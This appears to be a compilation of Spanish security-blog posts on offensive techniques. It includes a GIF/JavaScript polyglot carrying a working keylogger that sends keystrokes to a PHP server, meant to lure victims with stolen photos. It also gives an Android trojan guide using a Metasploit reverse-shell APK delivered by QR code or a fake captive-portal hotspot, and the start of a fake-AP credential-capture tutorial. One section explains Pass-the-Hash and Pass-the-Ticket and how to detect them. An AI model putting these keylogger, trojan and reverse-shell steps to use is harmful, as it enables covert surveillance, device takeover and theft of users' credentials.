Robar contraseñas usando gifs y javascript

Ange Albertini (padre de Angecryption que más adelante veremos) es sin duda un auténtico mago a la hora de crear binarios "políglotas", que son ficheros que tienen simultáneamente varios formatos. Por ejemplo PDF/ZIP/JPG/Audio, PE/PDF/HTML/ZIP, TrueCrypt/PDF/ZIP, etc. Es decir, cada uno de estos ficheros pueden ser abiertos por varias aplicaciones sin error.

Una de las cosas que más nos interesan, dado el mundo de maldad y desenfreno en el que vivimos los hackers"piratas informáticos", es la técnica para abusar de la cabecera de los ficheros GIFs y añadir código Javascript. El resultado un fichero GIF que sea un fichero GIF y JS al mismo tiempo.

Imaginad... basta con publicar anónimamente una copia de una de las últimas imágenes robadas de alguna famosa y recibiremos miles y miles de visitas de incautas (pero satisfechas) víctimas, cuyos navegadores ejecutan de forma silenciosa código javascript...

Ajin Abraham planteaba un escenario similar y muy interesante con Xenotic. Nosotros haremos también una simple PoC cargando un sencillo keylogger con php. Ni que decir tiene que la demo es básica y no incluye cifrado, técnicas de evasión, ni filtros JS... eso y las fotos guarras las pone cada uno... XD

Primero vamos a apañar nuestro keylogger que publicaremos con cualquier servidor web con soporte php (en nuestro caso XAMPP). Para ello añadiremos al DocumentRoot estos tres archivos y echaremos a correr:

keylogger.php

php
if(!empty($_GET['c'])) {
    $logfile = fopen('data.txt', 'a+');
    fwrite($logfile, $_GET['c']);
    fclose($logfile);
}
?>

keylogger.js

var keys = '';
document.onkeypress = function(e) {
    var get = window.event ? event : e;
    var key = get.keyCode ? get.keyCode : get.charCode;
    key = String.fromCharCode(key);
    keys += key;
}
window.setInterval(function(){
    new Image().src = 'http://localhost/keylogger.php?c=' + keys;
    keys = '';
}, 1000);

index.html

 src="img.gif" />

Como podéis comprobar en el index.html se llama al mismo fichero gif como si fuera un script JS. ¿Cómo conseguimos que esto luego funcione? Pues el "truco" está en añadir “=1″ para que el motor JS no considere los caracteres de la cabecera como una variable no definida. Y luego, para escapar caracteres especiales, usamos las marcas de comentario “/*” y “*/”. De esta manera podremos llamar al javascript keylogger.js. Veamos el ejemplo construyendo nuestro gif malicioso desde ensamblador:

WIDTH equ 10799 ;  equivalente a 2f2a, que es '/*' en ASCII, para empezar a abrir un comentario
HEIGTH equ 100 ; sólo para que sea más fácil de detectar
db 'GIF89a'
    dw WIDTH, HEIGTH
db 0 ; GCT
    db -1 ; color de fondo
    db 0 ; relación de aspecto por defecto
db 02ch  ; descriptor de imagen
    dw 0, 0 ; NW corner
    dw WIDTH, HEIGTH ; ancho y alto de la imagen
    db 0 ; color de la tabla
db 2 ; tamaño lzw
db 0
db 3bh ; terminador del gif
db '*/' ; cierre del comentario
db '=1;' ; para falso uso de esa cadena GIF89a
;db ' alert(1) '
db 's = document.createElement("script");' 
db 's.src = "http://localhost/keylogger.js";'
db 'document.body.appendChild(s);'

El resultado al compilarlo con YASM y visto en hexadecimal será el siguiente:

yasm gifjs.asm -o img.gif

Para comprobar que funciona abrimos la URL local con Chrome, vemos la imagen, pulsamos F12 y comprobamos que nuestro keylogger está en funcionamiento:

Ahora mira la siguiente imagen y... mientras la miras... piensa... y analiza si tú también has podido ser jodido comprometido... ;)

 

Fuente:  http://www.hackplayers.com/2014/11/el-GIF-que-tambien-queria-ser-JS.html

Mitigación de ataques Pass-the-Hash y Pass-the-Ticket

Cuando una empresa tiene una red con Active Directory es necesario preocuparse por la seguridad de éste, ya que afecta a la seguridad de toda la organización. Dentro de las medidas de seguridad que se pueden poner se encuentran las que entran dentro de la fase de fortificación de la plataforma, más las que añaden los equipos de seguridad con el objetivo de proteger los activos, detectar los ataques y mitigar su impacto.

Fortificar un servidor Windows Server con Active Directory consiste en seleccionar cuáles deben ser los roles y características que debe tener un servidor y aplicar todas las medidas que cumplan los principios de Mínimo Punto de Exposición (MPE), Mínimo Privilegio Posible (MPP) y Defensa en Profundidad (DeP). Es decir, una vez definido qué y cómo debe trabajar Active Directory, se pone en producción fortificado.

No obstante, no siempre la fortificación del sistema cierra todos los posibles ataques, ya sea por necesidades de la empresa o por limitaciones de la tecnología. En ese punto hay que pensar qué medidas de terceros se pueden poner para añadir una capa extra de fortificación al sistema y qué mecanismos de monitorización se deben implementar para detectar cualquier posible ataque a esas debilidades y poder mitigar el impacto de un ataque.

Un ejemplo con la gestión de credenciales

Para atacar el problema del robo de contraseñas de los usuarios se puede implementar un sistema de contraseñas complejas, de login basado en SmartCards o directamente deshabilitar las cuentas que tengan mala actividad dentro de la organización, pero ni aún así esto puede ser la solución definitiva en muchos casos, como vamos a ver. Por supuesto, nuestra propuesta para fortificar y dificultar el robo de credenciales es configurar Latch para Windows en Active Directory como una de esas medidas que permite fortificar el sistema de autorización del uso de identidades y así evitar que las contraseñas puedan ser robadas y utilizadas por un atacante.

Figura 1: Plugins de Latch para Windows Personal y Enterprise Edition

No obstante, a pesar de que se puedan poner muchas medidas de fortificación, aún existen multitud de ataques que pueden hacerse sin conocerse la contraseña de un usuario del sistema. Estos ataques pueden ser utilizados por un pentester contratado o por un atacante que esté en medio de un ataque dirigido contra la empresa. Estas técnicas de explotación de sistemas pueden realizarse como forma de pivotar de una máquina a otra cuando se ha conseguido comprometer previamente una máquina de la organización y pueden terminar convirtiéndose en un robo de la identidad para acceder a un montón de recursos dentro de la organización.

Ataques Pass-the-Hash

Si se tiene una máquina comprometida y se consigue utilizar una técnica similar a Mimikatz se podrían llegar a conseguir las contraseñas almacenadas localmente dentro del sistema operativo Windows controlado desde la organización, pero si no, con atacar a la base de datos de credenciales locales, con una herramienta como WCE (Windows Credentials Editor) sería posible acceder a los hashes NTLM de los usuarios almacenados localmente dentro de la máquina y utilizar una técnica como Pass-the-Hash para conseguir la autenticación en un recurso de la red directamente inyectando el hash NTLM extraído localmente del equipo en el proceso de autenticación LSASS, sin necesidad de utilizar la contraseña.

A partir de ese momento, en todo punto de control en el que se pueda o haya que realizar una autenticación NTLM a través del servicio de Network Logon, se realizará todo el proceso de cifrado del desafío de 16 bytes que provee el servidor de autenticación con el hash NTLM, sin importar para nada cuál fuera la contraseña. Es decir, no servirá para los procesos de inicio de sesión interactivos, pero sí para los inicios de sesión en red.

Desde el punto de vista del atacante, conseguir un hash para circular por la red será casi como conseguir la password, ya que el hash será válido mientras el usuario no cambie la contraseña. Es por eso que las buenas prácticas de fortificación de sistemas Microsoft Windows hablan siempre de forzar al usuario a cambiarla periódicamente, limitando temporalmente el impacto que pueda haber tenido el robo de una contraseña o el robo de un hash NTLM.

Figura 2: Hernan Ochoa - WCE Internals [RootedCON 2011]

Esto, en las SmartCards o en los sistemas biométricos, por desgracia, no es así. Por un lado, cuando se decide utilizar un sistema de SmartCards o un sistema basado en biometría, hemos conseguido reducir la posibilidad de que alguien copie la contraseña al sustituirla por algo que debe poseerse, ya sea un patrón biométrico o una SmartCard. Sin embargo, se ha inyectado un problema grave en el uso de las técnicas de Pass-the-Hash, ya que al final se usará un hash NTLM por debajo para el proceso de autenticación que nunca va a cambiar, al ser generado en el momento de enrollment en la cuenta de usuario de la SmartCard o la biometría. Es decir, si un usuario consigue robar el hash NTLM de una SmartCard, por ejemplo, podrá estar usándolo para autenticarse por NTLM siempre, ya que el hash no cambia nunca. 

En Windows 8.1, estas técnicas han cobrado un poco más de importancia con la aparición del Restricted Admin Mode en las conexiones RDP (Remote Desktop Protocol). Hasta el momento, la autenticación en un servidor para conseguir el inicio de sesión interactivo se hacía pasando un proceso que exigía poner la contraseña, o usar el inicio de sesión basado en credenciales cifradas RDP del que hemos hablado en los ataques Citrix/RDP, pero ahora en Windows 8.1 se puede usar el Restricted Admin Mode y pedir que la autenticación se haga vía Network Logon, lo que abre un nuevo servicio al ataque Pass-the-Hash. 

Figura 3: PoC de Ataque Pass-the-Hash en una conexión RDP

Como os podéis imaginar, esta es una técnica muy utilizada dentro de la explotación de redes Microsoft, y por supuesto está documentada dentro del libro de Ethical Hacking o en cualquier otro manual de realización de pentesting que se centre en el ataque a redes Microsoft Windows desde que hace años, en concreto en 2008,  el investigador argentino Hernán Ochoa (@hernano) la documentara en detalle. En su presentación de RootedCON 2011, podéis ver los detalles del trabajo que hizo.

Ataques Pass-the-Ticket 

Por supuesto, en un entorno con Active Directory, la autenticación NTLM no se usa en el acceso a la mayoría de los recursos de red de la organización, ya que el protocolo por defecto de Microsoft para realizar su autenticación bajo una arquitectura SSO(Single Sign-On) es Kerberos. El esquema es sencillo, tras realizar un proceso de desafío contra el servicio de autenticación Authentication Service dentro del KDC(Key Distribution Center) de la organización Kerberos, el usuario recibe un token que le permitirá solicitar autenticación en cada uno de los servicios que quiera acceder. Es el TGT (Ticket Granting Ticket) o "el ticket que concede tickets de acceso" y viene a ser un token que se utilizará como hash para firmar los futuros desafíos desde el servidor, al igual que el token NTLM se utiliza para confirmar que se tiene la password de la cuenta. 

Al final, el token TGT viene a ser como un hash NTLM pero que solo tiene validez durante un periodo de tiempo de sesión así que si es robado sólo se puede usar durante ese espacio temporal. A partir de ese momento, cuando un usuario quiere acceder a cualquier recurso, con su TGT pasa un proceso de validación en el KDC solicitando el acceso a ese recurso, y si la cuenta representada por ese TGT está permitida, entonces se le entrega un TGS (Ticket Granting Service) o "el ticket que concede el servicio" y que se entregará al acceso del recurso. 

Figura 4: Extracción de tickets kerberos TGT y TGS

Por supuesto, las técnicas de Pass-the-Ticket funcionan de igual manera que las técnicas de Pass-the-Hash, pero utilizando el TGT en lugar del hash NTLM. Estos TGT están limitados temporalmente, pero el tiempo puede ser razonablemente largo, ya que su renovación por defecto es cada 10 horas y alguien podría incluso extenderla hasta 7 días de vida, por lo que el atacante tendría la posibilidad de emitirse muchos TGS. Conseguir los TGT se pueden sacar igualmente del Windows Credential Store localmente, por lo que no se diferencia demasiado el proceso. 

Una curiosidad que tienen los TGT es que pueden utilizarse incluso después de que la cuenta haya sido borrada, deshabilitada o bloqueada, ya que la comprobación de salud de la cuenta se realiza dentro del dominio cada 20 minutos, pero si es una cuenta de usuario que viene con un TGT que no ha expirado desde un dominio remoto con el que se ha establecido una relación de confianza, entonces no se comprueba el estado de salud - es decir, que no esté bloqueada, borrada o deshabilitada - lo que le permitiría a un atacante seguir campando con un TGT de una cuenta zombie. 

¿Cómo detectar y mitigar estos ataques? 

En este artículo he hablado de Pass-the-Hash y Pass-the-Ticket por poner dos ejemplos de ataques que se producen en redes Microsoft Windows. Pass-the-Hash en entornos en los que no hay validación Kerberos (que pueden ser muchos, incluidas redes con Active Directory en puntos y situaciones concretas) y Pass-the-Tickets en entornos Kerberos como Active Directory. Pero el objetivo principal era haceros pensar en la respuesta a la pregunta que os hecho en esta sección. 

Lo cierto es que en un entorno Active Directory se pueden hacer muchos más abusos del sistema, como conectarse con cuentas de máquina usando una elevación de privilegios a System para enumerar los objetos del AD o hacer ataques de User-Guessing contra Kerberos. Además, podríamos tener el robo de un cuenta por parte de un usuario que estuviera siendo usada de forma anómala dentro de la red para acceder a documentos o información que va a ser robada de la empresa. 

Descubrir que en tiempo real se está produciendo alguno de estos ataques dentro de la red no es fácil. Si tenemos un IDS o un IPS dentro de la organización, habría que ser capaz de hacer Deep Packet Inspection de los protocolos de red utilizados por las redes Microsoft para localizar qué información se está utilizando. Habría que analizar Kerberos, LLMR, CIFS, etcétera y generar reglas de inteligencia sobre la información que de ellos se pueda extraer, algo que por desgracia no es fácil de hacer hoy en día. 

Microsoft tiene una guía de fortificación para reducir el impacto de los ataques Pass-the-Hash y a mí personalmente me gusta la herramienta DAF de Aorato. Lo que ellos hacen es justamente eso, hacer DPI para detectar todos los ataques que se estén produciendo de Pass-the-Hash, Pass-the-Ticket, abuso del Active Directory, o simplemente comportamientos anómalos de las cuentas de usuario o de máquina dentro de la red.

Figura 5: Alertas de ataques Active Directory con Aorato DAF

Para ello, configuran un puerto mirror en el switch que lleva el tráfico al Active Directory al que conectan una sonda que captura y analiza el tráfico. Este se envía a un repositorio central donde se realiza el cruzado de datos y el análisis inteligente de la información, y se le envía al equipo de seguridad el listado de alertas que están siendo descubiertas por la red. Es decir, una herramienta de análisis de seguridad del tráfico de Active Directory y de equipos Windows para detectar cuándo un ataque se está produciendo en la red que solo podrías detectar si haces DPI a los protocolos Microsoft. 

¿Se puede hacer sólo con el IDS? Seguro que sí. Al final analizar los protocolos de Microsoft no es del todo imposible. Muchos de ellos están bien documentados. Poner la lógica por encima de ellos para detectar un ataque de Pass-the-Hash o de Pass-the-Ticket es posible también, pero no en muchas organizaciones he visto una protección que detecte los ataques Pass-the-Hash o Pass-the-Ticket. 

Fuente: http://www.elladodelmal.com/2014/07/mitagacion-de-ataques-pass-hash-y-pass.html

Cross-Site SWF Scripting con Rosetta para Flash

Cuando un sitio web está utilizando en alguna medida Adobe Flash, está poniendo en el cliente códigos que van a ser ejecutados no directamente en el navegador de Internet, sino en un plugin que se carga en él, el famoso - muchas veces por fallos de seguridad - Adobe Flash Player. Al ser una plugin completo que ejecuta un código propio - Action Script - se comporta como un navegador de Internet dentro de un navegador de Internet y por ello debe aplicar más o menos las mismas medidas de protección que toman hoy en día los navegadores, y a veces no lo hace correctamente.

Same-Origin Policy en Adobe con CrossDomain.xml

Una de las políticas de seguridad que implementan los navegadores de Internet es el Same-Origin Policy. Esta política hace que el código que se carga en una pestaña de un navegador pueda acceder a datos solo a páginas que son del mismo dominio, es decir, que un código JavaScript no podría nunca acceder a la cookie o ningún elemento que compongan la página servida desde otro dominio. Es por ello que para poder acceder a los datos de otra pestaña se utilizan, por ejemplo, los ataques de Cross-Site Scripting, ya que consiguen inyectar código en la pestaña del dominio víctima.

En el caso de Adobe Flash y Adobe Acrobat, es el plugin es que debe forzar esa política de Same-Origin Policy y lo hace mediante la configuración de un fichero en la web de cada sitio, llamado CrossDomain.XML. Por defecto el acceso a datos desde otras ubicaciones está prohibido, pero el dueño de un sitio web puede permitir excepciones. Por ejemplo, si vamos a ver el fichero CrossDomain.XML de EBay podemos ver que hay muchas excepciones en él.

Figura 1: Fichero CrossDomain.XML en Ebay

Sin embargo, existe una forma de saltarse la protección de Same-Origin Policy en Adobe Flash Player mediante la inyección de un fichero SWF en un ataque Cross-Site Scripting o CSRF, pero para ello hay que conseguir que el fichero NO sea servido desde ninguna ubicación externa, sino que sea servido desde el mismo sitio creándolo al vuelo.

Es decir, si se inyecta un código JavaScript que carga un SWF que venga desde una ubicación de terceros, entonces se aplicará Same-Origin Policy y no se podrá hacer nada, pero el plugin de Adobe Flash Player permite que se ejecuten ficheros SWF que desde las llamadas especificadas dentro del parámetro DATA luego si se consigue que esa URL devuelva un SWF aunque sea inyectándolo en un parámetro, se ejecutar. Es decir, si un atacante es capaz de inyectar byte a byte el código de un SWF en la respuesta de una web inyectable haciendo mirroring sin que el plugin tenga que ir a una ubicación tercera, la configuración de CrossDomain.xml no afectaría para nada a este esquema.

Ataques a JASONP API

El trabajo que va a ser presentado por el investigador Michele Spagnolo se ha basado en lo explicado anteriormente, es decir, en inyectar objetos SWF maliciosos en funciones vulnerables de un dominio víctima que van a ejecutar un código Action Script que robará los datos del usuario que se conecte a ese domino víctima. Algo que podríamos decir que es un Cross-Site SWF Scripting.

Para ello ha abusado de los puntos de llamada a las APIs de JASONP vulnerables. Estas APIs de JASONP son muy comunes en los grandes sitios web de Internet ya que permiten servir y consumir WebServices con llamadas en texto plano, indicando en el parámetro Callback de la API el nombre de la función a invocar, y luego los parámetros que deben pasarse. 

Figura 2: Inyección de SWF en el parámetro callback de un API JASONP

En APIs de JASONP en las que se pueda controlar la respuesta de los datos mediante la inyección en los parámetros de llamada por CallBack, un atacante podría aprovecharse de un bug de XSS, o lo que es aún más peligroso, de un bug de CSRF en la web e inyectar en ellos un objeto SWF malicioso escrito directamente en la URL que robara  las cookies de la víctima haciendo peticiones GET y/o POST a un servidor controlado.

Rosetta Tool

En este entorno hay dos limitaciones, la primera de ellas encontrar la función del API JASONP que permite controlar la salida, y que por lo visto no ha sido un reto para Michele Spagnolo que ha visto como este ataque afectaba a Google, Ebay, Twitter, Tumblr, Instagram, etcétera, etcétera. Algunos de ellos, como Ebay o Instagram aún permanecen vulnerables.

La segunda de las limitaciones era la complejidad técnica más grande que había que saltar, y es que la API de JASONP generalmente solo permite entradas de valores en los parámetros que sean alfanuméricas, por lo que hay que conseguir que el objeto SWF que se inyecte en el parámetro esté codificado en ese formato. 

Figura 3: Concepto de Rosetta Tool

Habitualmente un fichero SWF es un archivo binario, y ahí es donde aparece Rosetta. Lo que hace esta herramienta es, a partir de cualquier objeto binario SWF genera un archivo comprimido con zlib que utiliza solo caracteres alfanuméricos, gracias a técnicas basadas en la codificación Huffman y algún ataque más. Todo esto lo explicará en su próxima charla en Hack in The Box, pero las diapositivas están ya disponibles.

Figura 4: Prueba de Concepto Universal escrita en Action Script 2 para ejecutar en la víctima

Esto permite generar ataques saltándose Same-Origin Policy, y para hacerlo más fácil ha creado una Prueba de Concepto Universal escrita en Action Script 2 que realiza la petición de los datos de entorno de una ubicación víctima a un servidor atacante. Puede ser descargada desde su repositorio en GitHUB.

Figura 5: Explotación de la POC con un Objeto Flash que debe ser cargado en el navegador de la víctima

La codificación con Rosetta del objeto malicioso es la que se ve en Data y para realizar el ataque completo hay que llamar con los parámetros URL y Exfiltrate correctos.

Mitigaciones y estado actual

Por supuesto, Adobe no tardó en proveer de una actualización de seguridad para todos los Adobe Flash Players en Windows, Linux y Mac OS X con el objeto de evitar estos ataques mediante una nueva versión que revisa con mayor fortaleza los objetos que le entran escritos en las páginas web, pero como no todos los usuarios se actualizan hay aún muchos clientes vulnerables. Algunos como Apple, ha prohibido con XCode el uso de versiones de Adobe Flash Player en Apple Safari para OS X vulnerables a esta técnica.

Por su parte, los sitos web con APIs JASONP que permiten al atacante controlar la salida de las respuestas están mirando cómo solucionar estos bugs. Algunos como Google o Twitter ya lo han solucionado, pero aún quedan muchos otros por corregir estos fallos. Tú, por si acaso, actualiza tu Adobe Flash Player ahora mismo.

Fuente: http://www.elladodelmal.com/2014/07/cross-site-swf-scripting-con-rosetta.html

Comprometiendo sistemas Android (1ª parte)

Cada día más personas utilizan smartphones y tablets para navegar por Internet y gestionar sus cuentas online. Por este motivo, los cibercriminales centran los ataques hacia estos dispositivos, lo que supone la aparición de nuevas amenazas y malware.

Durante este año, el 98,09% de los ataques móviles fueron dirigidos al sistema operativo Android. Esto se debe a varios factores. En primer lugar, esta plataforma es muy popular ya que es el sistema operativo más utilizado en los smartphones, con una cuota de mercado del 70%. Además, la naturaleza de plataforma abierta del sistema operativo Android, la facilidad con la que se pueden crear las aplicaciones o la amplia variedad de mercados de aplicaciones (no oficiales) que existen influyen de manera significativa en la seguridad. Android le está ganando la partida al resto de sistemas operativos y ya es el software para móviles más utilizado en todo el mundo.

Por tanto, es un factor muy importante a tener en cuenta a la hora de securizar una red corporativa, o a la hora de planificar un ataque dirigido.

Los terminales inteligentes, pueden llegar a ser una puerta fácil, que nos abran las puertas a un objetivo bien securizado. En muchas redes y por descuido del usuario, suelen ser aparatos confiables... Ejemplo claro sería el móvil del jefe, conectado por wifi a la red , que da al traste con todas las políticas de IT, creerme que es más usual de lo que debiera. 

En esta serie de entradas vamos a ver como poder echar mano a este recurso....

Troyanizando Android

Para el ejemplo, nos vamos a valer de un módulo de Metasploit, Android meterpreter, que cabe destacar que es una herramienta brillante desde su "simpleza", la cual sería muy fácil incluir en algún código a modo de 'backdoor' sin levantar muchas sospechas. A parte los creadores han dejado el código fuente y mucha información a nuestra disposición.
También podríamos utilizar cualquier otro tipo de backdoor para android, o incluso aprovechar herramientas que pueden estar albergadas en el sistema, como veremos en entradas posteriores...

Para el que necesite más detalles sobre este módulo, me viene a la cabeza un buen artículo de SbD.

Para la infección veremos un par de ejemplos sencillos, aunque este apartado sólo esta limitado por la imaginación del artista...

Generando nuestro "caballo de troya"

Como dije anteriormente para ilustrar esta entrada nos va a bastar con android meterpreter, con el que vamos a generar una aplicación para infectar nuestro objetivo. No nos vamos a entretener mucho en detalles pero para el que conozca meterpreter y msfpayload no le será difícil enrevesar el proceso a fin de complicar su detección...

Tanto la elaboración como el ataque en sí difiere poco del meterpreter clásico:

Abriremos nuestro terminal y a typear:

#sudo msfpayload android/meterpreter/reverse_tcp LHOST=192.168.1..121 LPORT=4444 R > /root/Desktop/wifi.apk

Con esto generamos la aplicación, la cual nos está esperando en /root/Desktop/ 

recordar que la ip tiene que ser la de eth0 (o por donde nos entre internet).

Generando la infección

Vamos a ver dos métodos sencillos el primero todo un clásico "QR" y en el segundo utilizaremos un falso AP (que ya vimos en Hackplayers y con el fin de darle a este "cotarro" cierta continuidad interesante).

1er método

Para la primera nos basta con subir nuestra aplicación a cualquier servidor y generar un código QR de enlace a esta, lo podemos hacer directamente con SET o con cualquier herramienta online para este fin.
(luego veremos lo que puede hacer saltar nuestras alarmas)..

Arrancamos SET y seguimos estos pasos:

1) Social-Engineering Attacks
 
Seleccionamos la opción
 
9) QRCode Generator Attack Vector

Ingresaremos la url donde hemos subido nuestra apk.

El siguiente paso requiere de algo de ingeniería social para hacer llegar el código al objetivo:

Por ejemplo podemos mandar un currículum falso a recursos humanos de la empresa con el QR  (que esta de moda) dando el enlace de la descarga... otra cosa sera que la víctima ejecute el archivo....cosa más que improbable.

2º método

Nuestro hotspot trampa

 10 min. Gimp, html basico...se puede mejorar. Mi gato que es de la Sgae reserva los derechos.

Aquí refinaremos nuestro engaño...

Partiendo de la entrada anterior en la que creamos un punto de acceso falso, en esta ocasión añadiremos unas pequeñas modificaciones a nuestro AP para hacerlo pasar por un hotspot o portal cautivo lícito que ofrece servicio a Internet, y deberemos convencer al usuario a descargarse una aplicación y ejecutarla, para obtener un user y password válido.

Preparando la trampa

Si os acordáis, en el la entrada anterior hicimos un script para arrancar y darle las directrices a iptables al unisono se llamaba "RogueAP.sh"; en esta ocasión haremos otro que no es más que el mismo modificado con una  regla más de iptables para crear el portal cautivo.
 

Si os dais cuenta tan solo le he añadido una linea.

iptables -t nat -A PREROUTING -s 10.0.0.0/24 -p tcp --dport 80 -j REDIRECT --to-ports 55555

Para el siguiente paso necesitamos tener instalado apache web server, y simular un hotspot ... para esto necesitaremos un index.html y un par de archivos php y ser algo creativos. Yo no me he esplayado mucho, pero cuanto más meticulosos seamos, mayor será la probabilidad de éxito, también podríamos clonar el hotspot de una cafetería, hotel etc...
No voy a entrar en el detalle de cada uno de los archivos, tan solo los describiré los más importantes y os dejo la descarga.

INDEX.html : nuestra página
log.php : se encarga de comprobar el login y de dejar pasar una vez hecho.
inf.php : filtra por user agent, si es android sirve una apk, si es un PC podría servir otro archivo ...tan solo está para android puesto es de lo que va la entrada...(el que quiera lo puede acabar y así tener un buen "atrapamoscas"). 

ficheros hotspot

Una vez descargada la carpeta , la copiamos a  /var/www/hotspot (previamente creado) y le damos permisos...


Ahora tan solo nos queda configurar apache.

Configurando Apache virtual host

Dado que llevo más de un asunto entre manos en mi servidor apache, para hacerlo que responda por el puerto 55555 que hemos configurado en Falsohotspot.sh anteriormente, y para hacer las cosas medio regular, he optado por configurarlo para que me sirva el hotspot como otro dominio en la máquina para ello seguiremos estos pasos...

#cp /etc/apache2/sites-available/default hotspot
#nano hotspot
Editaremos las 3 primeras lineas
 

Ahora activamos el site:

#a2ensite hotspot

En /etc/apache2/ports.conf decimos por donde va a estar escuchando nuestro hotspot.

nano /etc/hosts

y añadimos la linea 

127.0.0.1      hotspot

#/etc/init.d/apache2 restart

Con ésto hemos terminado de configurar apache.

Por último ejecutaremos visudo y añadiremos esta linea al final del archivo
www-data bt=(root) NOPASSWD:/sbin/iptables

ALARMA!!

Hemos dicho que vamos a utilizar el POC de meterpreter para android.....(podríamos utilizar cualquier otra apk pero a sido lo primero que he agarrado).

Así no creo que engañe a nadie desde luego...... tendremos que hacer algunos cambios, no muy difíciles para tener alguna oportunidad....aquí solo lo voy a tocar muy superfluamente, pero se puede profundizar muchísimo más...sólo limitados por nuestros conocimientos.. 
 

Vistiendo al lobo de cordero

Para realizar estos necesarios cambios, si queremos dar el pego (y es aquí donde he visto que yo solo me liado, podría haber cogido un soft mas adecuado) utilizaremos un tipo de  aplicación  a la que mi compañero Vicente es asiduo ;D Apk_manager.. lo tenemos de todos los sabores Linux, Windows, y mac 

Una vez instalada Apk_manager, vamos a llevar a cabo las siguientes acciones:

-descomprimiremos la aplicación.
-cambiaremos los archivos pertinentes.
-comprimiremos y firmaremos

Descomprimir la aplicacion: cogeremos el archivo creado con msfpayload lo situaremos en la carpeta place-apk-here-for-modding , arrancaremos la aplicacion con ./Scrit.sh , Nos preguntará si queremos limpiar la carpeta out, le diremos que NO.
Pulsaremos la opción 9.

Cambiar archivos: nos dirigimos a la carpeta Out y cambiamos los archivos que nos convengan.

Comprimir y firmar: pulsamos la opción 13 y tras esperar un rato ...Ctrl+C.. nos generará un archivo llamado repackaged-signed.apk en la carpeta place-apk-here for-mading. Copiaremos nuestra aplicacion modificada al directorio que previamente crearemos /var/www/hotspot/downloads.

Ya tenemos listo nuestro "atrapamoscas" para este ejemplo...Podemos echarle un par de horas para completarlo...  proporcionarle habilidades sniffers, completar su detección de User Agent y enviar otra serie de archivos, o incluso exploit remotos al objetivo....y tendremos un cebo MUY LETAL..no sólo para Android.... 

Explotando meterpreter android

Puff ya llegamos al final tranquilos....

Bueno a llegado el momento de comprobar si todo esta bien y arrancar nuestro invento...con una conexión a Internet por ETH0 (o en otra interface ya sea cableada o wireless) arrancaremos nuestro Hotspot con el script creado (no olvidar arrancar apache si no lo hemos hecho, y que eth0 tenga ip lo cual podemos forzar si es necesario con dhclient eth0), este a su vez arrancara nuestro servicio DHCP.

Arrancaremos msfconsole:

sudo msfconsole
use exploiter/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.1.121
set lport 4444
exploit

Tan sólo nos queda esperar a nuestros nuevo/s amigos....

Al cabo de un rato....vemos que nuestro objetivo picó...

Para ver que podemos hacer con meterpreter basta con hacer un help y nos dará un listado de sus posibilidades...

meterpreter>help

Entre algunas lindezas meterpreter nos permite hacer capturas con la cámara y el micro, tener un acceso a la shell del sistema con lo que esto supone, subir y descargar archivos.etc etc.

Debemos considerar la posibilidad de un acceso permanente al dispositivo, (que ya veremos), aparte de esto hay una opción muy interesante al igual que peligrosa, es la posibilidad de hacer port-relaying desde el terminal móvil... Sería un desastre que el usuario tuviese levantado la VPN que le da acceso a la red interna de la empresa....

meterpreter> portfwd add -l 80 -r 192.168.123.15 -p 80

MORALEJA : utiliza siempre el sentido común. Usuario de teléfono móvil precavido vale por dos. Cuidado con los archivos que llegan por mensajería instantánea, correo electrónico o de cualquier otra manera....tener un buen hábito para la seguridad informática vale por dos antivirus, y por último un firewall para tu teléfono te puede ahorrar mas de un dolor de cabeza...

Fuente: http://www.hackplayers.com/2014/02/comprometiendo-sistemas-android-1-parte.html

Punto de acceso wifi falso + SSLTrip [Backtrack 5]

¿Qué es un punto de acceso?

Un punto de acceso inalámbrico o AP (Access Point) es un dispositivo que permite la conexión inalámbrica de un equipo móvil de cómputo (ordenador, tableta, smartphone) con una red. Generalmente los puntos de acceso tienen como función principal permitir la conectividad con la red, delegando la tarea de ruteo y direccionamiento a servidores, routers y switches. La mayoría de los AP siguen el estándar de comunicación 802.11 de la IEEE lo que permite una compatibilidad con una gran variedad de equipos inalámbricos.

---

¿Realmente navegamos seguros en redes wifi?

Vamos a demostrar la facilidad de montar un Punto de acceso falso (Fake AP) para capturar todo el tráfico y las credenciales de los usuarios, así como: webs que visitan, imágenes, contraseñas…
Todo lo realizado a continuación es a modo de aprendizaje, no nos hacemos responsable del mal uso que un usuario le pueda dar.

---

Requisitos

• Adaptador Wifi (con soporte modo monitor).
• Antena Wifi.
• Linux Backtrack 5 (ISO o CD).
• VirtualBox (Si usamos Backtrack en CD Live no seria necesario).
• Conexión a Internet.

---

Software usado

• Aircrack-ng (para crear punto de acceso falso con airbase-ng)
• dhcp3-server (para asignar ips privadas a los clientes que se conecten) – Opcional
• bind9 o dnsmasq (para resolver nombres de dominio)
• iptables (para redireccionar el tráfico y hacer ip forward)
• tar (para desempaquetar archivos tar)
• python (para usar ssltrip)
• ssltrip (para obtener credenciales)
• tcpdump (para capturar el tráfico) – Opcional
• WireShark (para analizar las capturas) – Opcional
• NetworkMiner (para extraer datos de las capturas de forma automatizada)

---

Paso 1 – Iniciar máquina virtual o CD Live

Lo primero que necesitamos es crear una máquina virtual con la imagen ISO de Backtrack 5 o iniciar desde un CD Live.
Si usamos Backtrack 5 desde máquina virtual con VirtualBox debemos asociar el adaptador Wifi USB a la máquina virtual desde el menú:

Dispositivos >> Dispositivos USB >> “Nombre de nuestro adaptador Wifi USB”

VirtualBox – Dispositivo USB

Backtrack 5 por defecto trae el idioma del teclado en inglés, por comodidad si lo queremos poner en español, ejecutamos este comando:

0001	setxkbmap -layout es

Paso 2 – Instalar software necesario

Una vez iniciado Backtrack 5 necesitamos instalar un servidor DHCP (dhcp3-server) para asignar IPs privadas a los clientes y un servidor DNS (dnsmasq o bind) para la resolución de nombres de dominio.
Actualizamos los paquetes de los repositorios:

0001	apt-get update

*Deben estar configurados previamente los repositorios en: /etc/apt/sources.list
Instalamos el servidor DHCP:

0001	apt-get install dhcp3-server

Instalamos el servidor DNS (en este ejemplo hemos usado dnsmasq pero se podría usar bind9 también):

0001	apt-get install dnsmasq

Paso 3 – Establecer el adaptador wifi en modo monitor

Nos aseguramos de tener el adaptador wifi conectado correctamente usando el comando:

0001

iwconfig

Nos debería aparecer algo así:

iwconfig

*Dependiendo del dispositivo puede que no aparezca wlan0 y se muestre con otro nombre. Para saber si es una interfaz wifi debe aparecer: 802.11.
Necesitamos establecer el adaptador Wifi en modo monitor para poder montar el punto de acceso.
Modo monitor:

0001	airmon-ng start wlan0

ó

0001	ifconfig wlan0 mode monitor

